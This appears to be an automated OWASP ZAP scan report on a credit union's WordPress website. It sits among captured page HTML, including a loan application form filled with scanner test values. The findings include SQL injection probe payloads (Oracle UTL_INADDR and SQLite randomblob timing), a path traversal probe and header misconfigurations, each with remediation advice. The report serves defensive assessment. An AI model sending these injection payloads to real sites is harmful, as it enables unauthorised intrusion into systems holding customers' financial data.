<div class="formtextbox form_3 col-md-3 currency_field">
<p><span class="wpcf7-form-control-wrap" data-name="financial_bank_balance_outstanding"><input size="40" maxlength="20" class="wpcf7-form-control wpcf7-text" id="financial_bank_balance_outstanding" aria-invalid="false" placeholder="Balance Outstanding" value="ZAP" type="text" name="financial_bank_balance_outstanding" /></span>
</p>
</div>
<div class="formtextbox form_3 col-md-3 last currency_field">
<p><span class="wpcf7-form-control-wrap" data-name="financial_bank_monthly_repayments"><input size="40" maxlength="20" class="wpcf7-form-control wpcf7-text" id="financial_bank_monthly_repayments" aria-invalid="false" placeholder="Monthly Repayments" value="ZAP" type="text" name="financial_bank_monthly_repayments" /></span>
</p>
</div>
</div>
<div class="row">
<div class="formtextbox form_3 col-md-3">
<p>Rent/Mortgage
</p>
</div>
<div class="formtextbox form_3 col-md-3 currency_field">
<p><span class="wpcf7-form-control-wrap" data-name="financial_rent_original_amount"><input size="40" maxlength="20" class="wpcf7-form-control wpcf7-text" id="financial_rent_original_amount" aria-invalid="false" placeholder="Original Amount" value="ZAP" type="text" name="financial_rent_original_amount" /></span>
</p>
</div>
<div class="formtextbox form_3 col-md-3 currency_field">
<p><span class="wpcf7-form-control-wrap" data-name="financial_rent_balance_outstanding"><input size="40" maxlength="20" class="wpcf7-form-control wpcf7-text" id="financial_rent_balance_outstanding" aria-invalid="false" placeholder="Balance Outstanding" value="ZAP" type="text" name="financial_rent_balance_outstanding" /></span>
</p>
</div>
<div class="formtextbox form_3 col-md-3 last currency_field">
<p><span class="wpcf7-form-control-wrap" data-name="financial_rent_monthly_repayments"><input size="40" maxlength="20" class="wpcf7-form-control wpcf7-text" id="financial_rent_monthly_repayments" aria-invalid="false" placeholder="Monthly Repayments" value="ZAP" type="text" name="financial_rent_monthly_repayments" /></span>
</p>
</div>
</div>
<div class="row">
<div class="formtextbox form_3 col-md-3">
<p>Credit Card
</p>
</div>
<div class="formtextbox form_3 col-md-3 currency_field">
<p><span class="wpcf7-form-control-wrap" data-name="financial_credit_original_amount"><input size="40" maxlength="20" class="wpcf7-form-control wpcf7-text" id="financial_credit_original_amount" aria-invalid="false" placeholder="Original Amount" value="ZAP" type="text" name="financial_credit_original_amount" /></span>
</p>
</div>
<div class="formtextbox form_3 col-md-3 currency_field">
<p><span class="wpcf7-form-control-wrap" data-name="financial_credit_balance_outstanding"><input size="40" maxlength="20" class="wpcf7-form-control wpcf7-text" id="financial_credit_balance_outstanding" aria-invalid="false" placeholder="Balance Outstanding" value="ZAP" type="text" name="financial_credit_balance_outstanding" /></span>
</p>
</div>
<div class="formtextbox form_3 col-md-3 last currency_field">
<p><span class="wpcf7-form-control-wrap" data-name="financial_credit_monthly_repayments"><input size="40" maxlength="20" class="wpcf7-form-control wpcf7-text" id="financial_credit_monthly_repayments" aria-invalid="false" placeholder="Monthly Repayments" value="ZAP" type="text" name="financial_credit_monthly_repayments" /></span>
</p>
</div>
</div>
<div class="row">
<div class="formtextbox form_3 col-md-3">
<p>Other
</p>
</div>
<div class="formtextbox form_3 col-md-3 currency_field">
<p><span class="wpcf7-form-control-wrap" data-name="financial_other_original_amount"><input size="40" maxlength="20" class="wpcf7-form-control wpcf7-text" id="financial_other_original_amount" aria-invalid="false" placeholder="Original Amount" value="ZAP" type="text" name="financial_other_original_amount" /></span>
</p>
</div>
<div class="formtextbox form_3 col-md-3 currency_field">
<p><span class="wpcf7-form-control-wrap" data-name="financial_other_balance_outstanding"><input size="40" maxlength="20" class="wpcf7-form-control wpcf7-text" id="financial_other_balance_outstanding" aria-invalid="false" placeholder="Balance Outstanding" value="ZAP" type="text" name="financial_other_balance_outstanding" /></span>
</p>
</div>
<div class="formtextbox form_3 col-md-3 last currency_field">
<p><span class="wpcf7-form-control-wrap" data-name="financial_other_monthly_repayments"><input size="40" maxlength="20" class="wpcf7-form-control wpcf7-text" id="financial_other_monthly_repayments" aria-invalid="false" placeholder="Monthly Repayments" value="ZAP" type="text" name="financial_other_monthly_repayments" /></span>
</p>
</div>
</div>
<div class="row">
<div class="formtextbox form_3 col-md-3">
<p>Current Savings Balance(s) <span id="current_saving_tooltip" class="tooltip_info"></span>
</p>
</div>
<div class="formtextbox form_3 col-md-3 currency_field">
<p><span class="wpcf7-form-control-wrap" data-name="financial_saving_original_amount"><input size="40" maxlength="20" class="wpcf7-form-control wpcf7-text wpcf7-validates-as-required" id="financial_saving_original_amount" aria-required="true" aria-invalid="false" placeholder="Original Amount" value="ZAP" type="text" name="financial_saving_original_amount" /></span>
</p>
</div>
<div class="clearfix">
</div>
</div>
<div class="row">
<div class="formtextbox form_3 col-md-3">
<p>Current Loan Balance(s)
</p>
</div>
<div class="formtextbox form_3 col-md-3 currency_field">
<p><span class="wpcf7-form-control-wrap" data-name="financial_loan_original_amount"><input size="40" maxlength="20" class="wpcf7-form-control wpcf7-text" id="financial_loan_original_amount" aria-invalid="false" placeholder="Original Amount" value="ZAP" type="text" name="financial_loan_original_amount" /></span>
</p>
</div>
<div class="clearfix">
</div>
</div>
<div class="row">
<div class="formtextbox form_3 col-md-3">
<p>Current Arrears
</p>
</div>
<div class="formtextbox form_3 col-md-3 currency_field">
<p><span class="wpcf7-form-control-wrap" data-name="financial_arrears_original_amount"><input size="40" maxlength="20" class="wpcf7-form-control wpcf7-text" id="financial_arrears_original_amount" aria-invalid="false" placeholder="Original Amount" value="ZAP" type="text" name="financial_arrears_original_amount" /></span>
</p>
</div>
<div class="clearfix">
</div>
</div>
</div>
<div class="section_col">
<div class="form_left">
<h4>Loan Details
</h4>
</div>
<div class="form_right">
<div class="formtextbox form_6 currency_field">
<p><label>I wish to apply for a loan of </label><span class="wpcf7-form-control-wrap" data-name="apply_loan_of"><input size="40" maxlength="50" class="wpcf7-form-control wpcf7-text wpcf7-validates-as-required" id="apply_loan_of" aria-required="true" aria-invalid="false" value="ZAP" type="text" name="apply_loan_of" /></span>
</p>
</div>
<div class="formtextbox form_6 last">
<p><label>Employer's Name</label><span class="wpcf7-form-control-wrap" data-name="loan_employer"><input size="40" maxlength="50" class="wpcf7-form-control wpcf7-text wpcf7-validates-as-required" id="loan_employer" aria-required="true" aria-invalid="false" value="ZAP" type="text" name="loan_employer" /></span>
</p>
</div>
<div class="formtextbox textarea">
<p><label>Purpose of Loan</label><span class="wpcf7-form-control-wrap" data-name="purpose_of_loan"><select class="wpcf7-form-control wpcf7-select" id="loan_pur" aria-invalid="false" name="purpose_of_loan"><option value="">—Please choose an option—</option><option value="Car Loan" selected="selected">Car Loan</option><option value="PCP Buster">PCP Buster</option><option value="Green Loan">Green Loan</option><option value="Community Loan">Community Loan</option><option value="Consolidation Loan">Consolidation Loan</option><option value="Covered Loan">Covered Loan</option><option value="Home Improvement Loan">Home Improvement Loan</option><option value="Mortgage">Mortgage</option><option value="One 4 One Loan">One 4 One Loan</option><option value="Standard Personal Loan">Standard Personal Loan</option><option value="Student Loan">Student Loan</option><option value="5 Year Fixed Loan">5 Year Fixed Loan</option><option value="7 Year Fixed Loan">7 Year Fixed Loan</option><option value="10 Year Fixed Loan">10 Year Fixed Loan</option></select></span>
</p>
</div>
<div class="formtextbox form_6">
<p><label>Date Required</label><span class="wpcf7-form-control-wrap" data-name="loan_date_required"><input size="40" class="wpcf7-form-control wpcf7-text wpcf7-validates-as-required" id="loan_date_required" readonly="readonly" aria-required="true" aria-invalid="false" value="ZAP" type="text" name="loan_date_required" /></span>
</p>
</div>
<div class="formtextbox form_6 last">
<p><label> </label>
</p>
</div>
<div class="clearfix">
</div>
<div class="formtextbox form_6">
<p><label>To be repaid every</label><span class="wpcf7-form-control-wrap" data-name="loan_repaid_every"><select class="wpcf7-form-control wpcf7-select wpcf7-validates-as-required" aria-required="true" aria-invalid="false" name="loan_repaid_every"><option value="">Select from dropdown</option><option value="Week" selected="selected">Week</option><option value="Fortnight">Fortnight</option><option value="4-Weeks">4-Weeks</option><option value="Month">Month</option></select></span>
</p>
</div>
<div class="formtextbox form_6 last currency_field">
<p><label>In installments of</label><span class="wpcf7-form-control-wrap" data-name="loan_installment_of"><input size="40" maxlength="20" class="wpcf7-form-control wpcf7-text wpcf7-validates-as-required" id="loan_installment_of" aria-required="true" aria-invalid="false" value="ZAP" type="text" name="loan_installment_of" /></span>
</p>
</div>
</div>
</div>
<div class="section_col">
<h5><strong>Declaration</strong>
</h5>
<p>I declare that I am not indebted to any other Credit Union, Bank or Loan Agency either as a borrower or Guarantor, except as stated on this application. The statements herein are made for the purposes of obtaining the loan and are true to the best of my knowlewdge and belief.
</p>
<div class="sap">
</div>
<h5><strong>I declare that to the best of my knowledge</strong>
</h5>
<div class="sap">
</div>
<div class="formtextbox">
<p><span class="wpcf7-form-control-wrap" data-name="declare_of_opt_in"><span class="wpcf7-form-control wpcf7-radio"><span class="wpcf7-list-item first"><input type="radio" name="declare_of_opt_in" value="I am in good health" checked="checked" /><span class="wpcf7-list-item-label">I am in good health</span></span><span class="wpcf7-list-item last"><input type="radio" name="declare_of_opt_in" value="I am NOT in good health" /><span class="wpcf7-list-item-label">I am NOT in good health</span></span></span></span>
</p>
</div>
<div class="sap">
</div>
<h5><strong>I declare that to the best of my knowledge</strong>
</h5>
<div class="sap">
</div>
<div class="formtextbox">
<p><span class="wpcf7-form-control-wrap" data-name="declare_of_opt_in2"><span class="wpcf7-form-control wpcf7-radio"><span class="wpcf7-list-item first"><input type="radio" name="declare_of_opt_in2" value="I am fit to follow my normal occupation" checked="checked" /><span class="wpcf7-list-item-label">I am fit to follow my normal occupation</span></span><span class="wpcf7-list-item last"><input type="radio" name="declare_of_opt_in2" value="I am NOT fit to follow my normal occupation" /><span class="wpcf7-list-item-label">I am NOT fit to follow my normal occupation</span></span></span></span>
</p>
</div>
<div class="sap">
</div>
<h5><strong>Marketing consent </strong>
</h5>
<p>As part of improving our services to you, from time to time we would like to inform you of goods, services, competitions and/or promotional offers available from us. May we have your permission to contact you by:
</p>
<div class="sap">
</div>
<div class="formtextbox newboxes">
<div class="radiobuttons">
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<div class="sap">
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<div class="formtextbox newboxes">
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<p><label>Post</label><span class="wpcf7-form-control-wrap" data-name="radio-1004"><span class="wpcf7-form-control wpcf7-radio"><span class="wpcf7-list-item first"><input type="radio" name="radio-1004" value="Yes" checked="checked" /><span class="wpcf7-list-item-label">Yes</span></span><span class="wpcf7-list-item last"><input type="radio" name="radio-1004" value="No" /><span class="wpcf7-list-item-label">No</span></span></span></span>
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<div class="sap">
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<h5><strong>Please note that you have the right to access personal data held about you by the Credit Union and to correct any inaccurancies in such data</strong>
</h5>
<div class="sap">
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<p><label>Name</label><span class="wpcf7-form-control-wrap" data-name="your-name"><input size="40" maxlength="200" class="wpcf7-form-control wpcf7-text wpcf7-validates-as-required" id="result" aria-required="true" aria-invalid="false" value="ZAP" type="text" name="your-name" /></span>
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<p>Data Protection Act 1988 - I consent to the information contained in this application form being used by the Credit Union for the purposes of processing my application
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end.setFullYear(end.getFullYear() + 20);
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var encoded = 'MjI1Mg==';
var appno = 'MVZTTUoyUjI4UA==';
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Parameter
email
Attack
field: [email], value [zaproxy@example.com / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) ]
Solution
Do not trust client side input, even if there is client side
validation in place.
In general, type check all data on the server side.
If the application uses JDBC, use PreparedStatement or
CallableStatement, with parameters passed by '?'
If the application uses ASP, use ADO Command Objects with strong
type checking and parameterized queries.
If database Stored Procedures can be used, use them.
Do *not* concatenate strings into queries in the stored procedure,
or use 'exec', 'exec immediate', or equivalent functionality!
Do not create dynamic SQL queries using simple string
concatenation.
Escape all data received from the client.
Apply an 'allow list' of allowed characters, or a 'deny list' of
disallowed characters in user input.
Apply the principle of least privilege by using the least
privileged database user possible.
In particular, avoid using the 'sa' or 'db-owner' database users.
This does not eliminate SQL injection, but minimizes its impact.
Grant the minimum database access that is necessary for the
application.
4. SQL INJECTION - SQLITE (1)
1. GET https://www.clcu.ie/?s=ZAP
Alert tags
* OWASP_2021_A03
* WSTG-v42-INPV-05
* OWASP_2017_A01
Alert description
SQL injection may be possible.
Other info
The query time is controllable using parameter value [case
randomblob(10000000) when not null then 1 else 1 end ], which
caused the request to take [1,739] milliseconds, parameter value
[case randomblob(100000000) when not null then 1 else 1 end ],
which caused the request to take [1,994] milliseconds, when the
original unmodified query with value [ZAP] took [1,574]
milliseconds.
Request Request line and header section (417 bytes)
GET https://www.clcu.ie/?s=case+randomblob%2810000000%29+when+not+null+then+1+else+1+end+ HTTP/1.1
host: www.clcu.ie
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
pragma: no-cache
cache-control: no-cache
referer: https://www.clcu.ie/contact/
Cookie: PHPSESSID=gutkq0d13uqkiuoo18rrel573t; wordpress_test_cookie=WP%20Cookie%20check
Request body (0 bytes)
Response Status line and header section (372 bytes)
HTTP/1.1 200 OK
Date: Mon, 27 Nov 2023 10:02:25 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Server: Apache/2.4.52 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Link: <https://www.clcu.ie/wp-json/>; rel="https://api.w.org/"
Vary: Accept-Encoding
content-length: 49326
Response body (49326 bytes)
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Parameter
s
Attack
case randomblob(10000000) when not null then 1 else 1 end
Evidence
The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end ], which caused the request to take [1,739] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end ], which caused the request to take [1,994] milliseconds, when the original unmodified query with value [ZAP] took [1,574] milliseconds.
Solution
Do not trust client side input, even if there is client side
validation in place.
In general, type check all data on the server side.
If the application uses JDBC, use PreparedStatement or
CallableStatement, with parameters passed by '?'
If the application uses ASP, use ADO Command Objects with strong
type checking and parameterized queries.
If database Stored Procedures can be used, use them.
Do *not* concatenate strings into queries in the stored procedure,
or use 'exec', 'exec immediate', or equivalent functionality!
Do not create dynamic SQL queries using simple string
concatenation.
Escape all data received from the client.
Apply an 'allow list' of allowed characters, or a 'deny list' of
disallowed characters in user input.
Apply the principle of least privilege by using the least
privileged database user possible.
In particular, avoid using the 'sa' or 'db-owner' database users.
This does not eliminate SQL injection, but minimizes its impact.
Grant the minimum database access that is necessary for the
application.
3. RISK=HIGH, CONFIDENCE=LOW (1)
1. HTTPS://WWW.CLCU.IE (1)
1. PATH TRAVERSAL (1)
1. GET https://www.clcu.ie/wp-json/oembed/1.0/embed?url=%2Fembed
Alert tags
* OWASP_2021_A01
* WSTG-v42-ATHZ-01
* OWASP_2017_A05
Alert description
The Path Traversal attack technique allows an attacker access to
files, directories, and commands that potentially reside outside
the web document root directory. An attacker may manipulate a URL
in such a way that the web site will execute or reveal the
contents of arbitrary files anywhere on the web server. Any device
that exposes an HTTP-based interface is potentially vulnerable to
Path Traversal.
Most web sites restrict user access to a specific portion of the
file-system, typically called the "web document root" or "CGI
root" directory. These directories contain the files intended for
user access and the executable necessary to drive web application
functionality. To access files or execute commands anywhere on the
file-system, Path Traversal attacks will utilize the ability of
special-characters sequences.
The most basic Path Traversal attack uses the "../"
special-character sequence to alter the resource location
requested in the URL. Although most popular web servers will
prevent this technique from escaping the web document root,
alternate encodings of the "../" sequence may help bypass the
security filters. These method variations include valid and
invalid Unicode-encoding ("..%u2216" or "..%c0%af") of the forward
slash character, backslash characters ("..\") on Windows-based
servers, URL encoded characters "%2e%2e%2f"), and double URL
encoding ("..%255c") of the backslash character.
Even if the web server properly restricts Path Traversal attempts
in the URL path, a web application itself may still be vulnerable
due to improper handling of user-supplied input. This is a common
problem of web applications that use template mechanisms or load
static text from files. In variations of the attack, the original
URL parameter value is substituted with the file name of one of
the web application's dynamic scripts. Consequently, the results
can reveal source code because the file is interpreted as text
instead of an executable script. These techniques often employ
additional special characters such as the dot (".") to reveal the
listing of the current working directory, or "%00" NULL characters
in order to bypass rudimentary file extension checks.
Request Request line and header section (439 bytes)
GET https://www.clcu.ie/wp-json/oembed/1.0/embed?url=%2Fembed HTTP/1.1
host: www.clcu.ie
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
pragma: no-cache
cache-control: no-cache
referer: https://www.clcu.ie/events/whats-cool-about-school-croi-laighean-credit-union/
Cookie: PHPSESSID=6n82fsdsffcfgjuvlei7d25bth; wordpress_test_cookie=WP%20Cookie%20check
Request body (0 bytes)
Response Status line and header section (624 bytes)
HTTP/1.1 200 OK
Date: Mon, 27 Nov 2023 08:33:18 GMT
Content-Type: application/json; charset=UTF-8
Connection: keep-alive
Server: Apache/2.4.52 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Robots-Tag: noindex
Link: <https://www.clcu.ie/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Allow: GET
Vary: Origin,Accept-Encoding
content-length: 2585
Response body (2585 bytes)
{"version":"1.0","provider_name":"Cro\u00ed Laighean Credit Union","provider_url":"https:\/\/www.clcu.ie","title":"Cro\u00ed Laighean Credit Union","type":"rich","width":600,"height":338,"html":"<blockquote class=\"wp-embedded-content\" data-secret=\"qY6ZvCvCGX\"><a href=\"https:\/\/www.clcu.ie\/\">Cro\u00ed Laighean Credit Union<\/a><\/blockquote><iframe sandbox=\"allow-scripts\" security=\"restricted\" src=\"https:\/\/www.clcu.ie\/embed\/#?secret=qY6ZvCvCGX\" width=\"600\" height=\"338\" title=\"“Cro\u00ed Laighean Credit Union” — Cro\u00ed Laighean Credit Union\" data-secret=\"qY6ZvCvCGX\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" class=\"wp-embedded-content\"><\/iframe><script type=\"text\/javascript\">\n\/*! This file is auto-generated *\/\n!function(c,d){\"use strict\";var e=!1,o=!1;if(d.querySelector)if(c.addEventListener)e=!0;if(c.wp=c.wp||{},c.wp.receiveEmbedMessage);else if(c.wp.receiveEmbedMessage=function(e){var t=e.data;if(!t);else if(!(t.secret||t.message||t.value));else if(\/[^a-zA-Z0-9]\/.test(t.secret));else{for(var r,s,a,i=d.querySelectorAll('iframe[data-secret=\"'+t.secret+'\"]'),n=d.querySelectorAll('blockquote[data-secret=\"'+t.secret+'\"]'),o=new RegExp(\"^https?:$\",\"i\"),l=0;l<n.length;l++)n[l].style.display=\"none\";for(l=0;l<i.length;l++)if(r=i[l],e.source!==r.contentWindow);else{if(r.removeAttribute(\"style\"),\"height\"===t.message){if(1e3<(s=parseInt(t.value,10)))s=1e3;else if(~~s<200)s=200;r.height=s}if(\"link\"===t.message)if(s=d.createElement(\"a\"),a=d.createElement(\"a\"),s.href=r.getAttribute(\"src\"),a.href=t.value,!o.test(a.protocol));else if(a.host===s.host)if(d.activeElement===r)c.top.location.href=t.value}}},e)c.addEventListener(\"message\",c.wp.receiveEmbedMessage,!1),d.addEventListener(\"DOMContentLoaded\",t,!1),c.addEventListener(\"load\",t,!1);function t(){if(o);else{o=!0;for(var e,t,r,s=-1!==navigator.appVersion.indexOf(\"MSIE 10\"),a=!!navigator.userAgent.match(\/Trident.*rv:11\\.\/),i=d.querySelectorAll(\"iframe.wp-embedded-content\"),n=0;n<i.length;n++){if(!(r=(t=i[n]).getAttribute(\"data-secret\")))r=Math.random().toString(36).substr(2,10),t.src+=\"#?secret=\"+r,t.setAttribute(\"data-secret\",r);if(s||a)(e=t.cloneNode(!0)).removeAttribute(\"security\"),t.parentNode.replaceChild(e,t);t.contentWindow.postMessage({message:\"ready\",secret:r},\"*\")}}}}(window,document);\n<\/script>\n","thumbnail_url":"https:\/\/www.clcu.ie\/wp-content\/uploads\/2023\/11\/croi-laighean-credit-union-offaly-kildare.png","thumbnail_width":1200,"thumbnail_height":675}
Parameter
url
Attack
/embed
Solution
Assume all input is malicious. Use an "accept known good" input
validation strategy, i.e., use an allow list of acceptable inputs
that strictly conform to specifications. Reject any input that
does not strictly conform to specifications, or transform it into
something that does. Do not rely exclusively on looking for
malicious or malformed inputs (i.e., do not rely on a deny list).
However, deny lists can be useful for detecting potential attacks
or determining which inputs are so malformed that they should be
rejected outright.
When performing input validation, consider all potentially
relevant properties, including length, type of input, the full
range of acceptable values, missing or extra inputs, syntax,
consistency across related fields, and conformance to business
rules. As an example of business rule logic, "boat" may be
syntactically valid because it only contains alphanumeric
characters, but it is not valid if you are expecting colors such
as "red" or "blue."
For filenames, use stringent allow lists that limit the character
set to be used. If feasible, only allow a single "." character in
the filename to avoid weaknesses, and exclude directory separators
such as "/". Use an allow list of allowable file extensions.
Warning: if you attempt to cleanse your data, then do so that the
end result is not in the form that can be dangerous. A sanitizing
mechanism can remove characters such as '.' and ';' which may be
required for some exploits. An attacker can try to fool the
sanitizing mechanism into "cleaning" data into a dangerous form.
Suppose the attacker injects a '.' inside a filename (e.g.
"sensi.tiveFile") and the sanitizing mechanism removes the
character resulting in the valid filename, "sensitiveFile". If the
input data are now assumed to be safe, then the file may be
compromised.
Inputs should be decoded and canonicalized to the application's
current internal representation before being validated. Make sure
that your application does not decode the same input twice. Such
errors could be used to bypass allow list schemes by introducing
dangerous inputs after they have been checked.
Use a built-in path canonicalization function (such as realpath()
in C) that produces the canonical version of the pathname, which
effectively removes ".." sequences and symbolic links.
Run your code using the lowest privileges that are required to
accomplish the necessary tasks. If possible, create isolated
accounts with limited privileges that are only used for a single
task. That way, a successful attack will not immediately give the
attacker access to the rest of the software or its environment.
For example, database applications rarely need to run as the
database administrator, especially in day-to-day operations.
When the set of acceptable objects, such as filenames or URLs, is
limited or known, create a mapping from a set of fixed input
values (such as numeric IDs) to the actual filenames or URLs, and
reject all other inputs.
Run your code in a "jail" or similar sandbox environment that
enforces strict boundaries between the process and the operating
system. This may effectively restrict which files can be accessed
in a particular directory or which commands can be executed by
your software.
OS-level examples include the Unix chroot jail, AppArmor, and
SELinux. In general, managed code may provide some protection. For
example, java.io.FilePermission in the Java SecurityManager allows
you to specify restrictions on file operations.
This may not be a feasible solution, and it only limits the impact
to the operating system; the rest of your application may still be
subject to compromise.
4. RISK=MEDIUM, CONFIDENCE=HIGH (1)
1. HTTPS://WWW.CLCU.IE (1)
1. CONTENT SECURITY POLICY (CSP) HEADER NOT SET (1)
1. GET https://www.clcu.ie/wp-admin/admin-ajax.php
Alert tags
* OWASP_2021_A05
* OWASP_2017_A06
Alert description
Content Security Policy (CSP) is an added layer of security that
helps to detect and mitigate certain types of attacks, including
Cross Site Scripting (XSS) and data injection attacks. These
attacks are used for everything from data theft to site defacement
or distribution of malware. CSP provides a set of standard HTTP
headers that allow website owners to declare approved sources of
content that browsers should be allowed to load on that page —
covered types are JavaScript, CSS, HTML frames, fonts, images and
embeddable objects such as Java applets, ActiveX, audio and video
files.
Request Request line and header section (288 bytes)
GET https://www.clcu.ie/wp-admin/admin-ajax.php HTTP/1.1
host: www.clcu.ie
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
pragma: no-cache
cache-control: no-cache
referer: https://www.clcu.ie/robots.txt
Request body (0 bytes)
Response Status line and header section (329 bytes)
HTTP/1.1 400 Bad Request
Date: Mon, 27 Nov 2023 07:22:36 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Server: Apache/2.4.52 (Ubuntu)
X-Robots-Tag: noindex
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store
Vary: Accept-Encoding
content-length: 1
Response body (1 byte)
0
Solution
Ensure that your web server, application server, load balancer,
etc. is configured to set the Content-Security-Policy header.
5. RISK=MEDIUM, CONFIDENCE=MEDIUM (3)
1. HTTPS://WWW.GOOGLETAGMANAGER.COM (1)
1. CROSS-DOMAIN MISCONFIGURATION (1)
1. GET https://www.googletagmanager.com/gtm.js?id=GTM-WDS4Q23
Alert tags
* OWASP_2021_A01
* OWASP_2017_A05
Alert description
Web browser data loading may be possible, due to a Cross Origin
Resource Sharing (CORS) misconfiguration on the web server
Other info
The CORS misconfiguration on the web server permits cross-domain
read requests from arbitrary third party domains, using
unauthenticated APIs on this domain. Web browser implementations
do not permit arbitrary third parties to read the response from
authenticated APIs, however. This reduces the risk somewhat. This
misconfiguration could be used by an attacker to access data that
is available in an unauthenticated manner, but which uses some
other form of security, such as IP address white-listing.
Request Request line and header section (545 bytes)
GET https://www.googletagmanager.com/gtm.js?id=GTM-WDS4Q23 HTTP/1.1
host: www.googletagmanager.com
Connection: keep-alive
sec-ch-ua: "Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/119.0.0.0 Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://www.clcu.ie/
Accept-Language: en-US,en;q=0.9
Request body (0 bytes)
Response Status line and header section (631 bytes)
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=UTF-8
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: Cache-Control
Vary: Accept-Encoding
Date: Mon, 27 Nov 2023 07:25:09 GMT
Expires: Mon, 27 Nov 2023 07:25:09 GMT
Cache-Control: private, max-age=900
Last-Modified: Mon, 27 Nov 2023 06:00:00 GMT
Strict-Transport-Security: max-age=31536000; includeSubDomains
Cross-Origin-Resource-Policy: cross-origin
Server: Google Tag Manager
X-XSS-Protection: 0
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
Accept-Ranges: none
content-length: 253962
Response body (253962 bytes)
// Copyright 2012 Google Inc. All rights reserved.
(function(w,g){w[g]=w[g]||{};
w[g].e=function(s){return eval(s);};})(window,'google_tag_manager');
(function(){
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})()
Evidence
Access-Control-Allow-Origin: *
Solution
Ensure that sensitive data is not available in an unauthenticated
manner (using IP address white-listing, for instance).
Configure the "Access-Control-Allow-Origin" HTTP header to a more
restrictive set of domains, or remove all CORS headers entirely,
to allow the web browser to enforce the Same Origin Policy (SOP)
in a more restrictive manner.
2. HTTPS://WWW.CLCU.IE (2)
1. MISSING ANTI-CLICKJACKING HEADER (1)
1. GET https://www.clcu.ie
Alert tags
* OWASP_2021_A05
* WSTG-v42-CLNT-09
* OWASP_2017_A06
Alert description
The response does not include either Content-Security-Policy with
'frame-ancestors' directive or X-Frame-Options to protect against
'ClickJacking' attacks.
Request Request line and header section (223 bytes)
GET https://www.clcu.ie HTTP/1.1
host: www.clcu.ie
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
pragma: no-cache
cache-control: no-cache
Request body (0 bytes)
Response Status line and header section (245 bytes)
HTTP/1.1 200 OK
Date: Mon, 27 Nov 2023 07:22:36 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Server: Apache/2.4.52 (Ubuntu)
Last-Modified: Sun, 26 Nov 2023 23:24:27 GMT
Vary: Accept-Encoding
content-length: 175025
Response body (175025 bytes)
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*
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<div class="notice_title">** NOTICE **</div>
<div class="notice_sub_title">Branches will open at 11am to facilitate staff training every Tuesday (except after bank holidays).</div>
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<li class="icon_linkedin"><a href="https://ie.linkedin.com/company/croilaigheancreditunion" target="_blank"></a></li><li class="icon_facebook"><a href="https://www.facebook.com/CLCreditUnion/" target="_blank"></a></li><li class="icon_instagram"><a href="https://www.instagram.com/clcreditunion/" target="_blank"></a></li><li class="icon_twitter"><a href="https://twitter.com/CLCreditUnion" target="_blank"></a></li> </ul>
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<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-21"><a title="Loans" href="https://www.clcu.ie/credit-union-loan/">Loans</a></li>
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<input type="submit" class="search-submit" id="searchsubmit" value="Search" title="Site Search" onclick="return IsEmpty();"/>
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<div class="top_menu top_menu_mobile">
<div class="top_link location">
<a href="https://www.clcu.ie/contact/" title="Locations">Locations</a>
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<a href="mailto:welcome@clcu.ie" title="welcome@clcu.ie">welcome@clcu.ie</a>
</div>
<div class="top_link mobile">
<a href="tel:1800 23 24 25" title="1800 23 24 25">1800 23 24 25</a>
</div>
</div>
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<ul>
<li class="icon_linkedin"><a href="https://ie.linkedin.com/company/croilaigheancreditunion" target="_blank"></a></li><li class="icon_facebook"><a href="https://www.facebook.com/CLCreditUnion/" target="_blank"></a></li><li class="icon_instagram"><a href="https://www.instagram.com/clcreditunion/" target="_blank"></a></li><li class="icon_twitter"><a href="https://twitter.com/CLCreditUnion" target="_blank"></a></li> </ul>
</div>
</div>
</div>
</div>
</div>
</div>
</header>
<div class="content-sidebar">
<a id="become_member"></a>
<div class="sidebar-con upwards_arrow">
<div class="inner_box">
<h3>How Can We Help You Today?</h3> <div class="icon-text">
<div class="icon_cls">
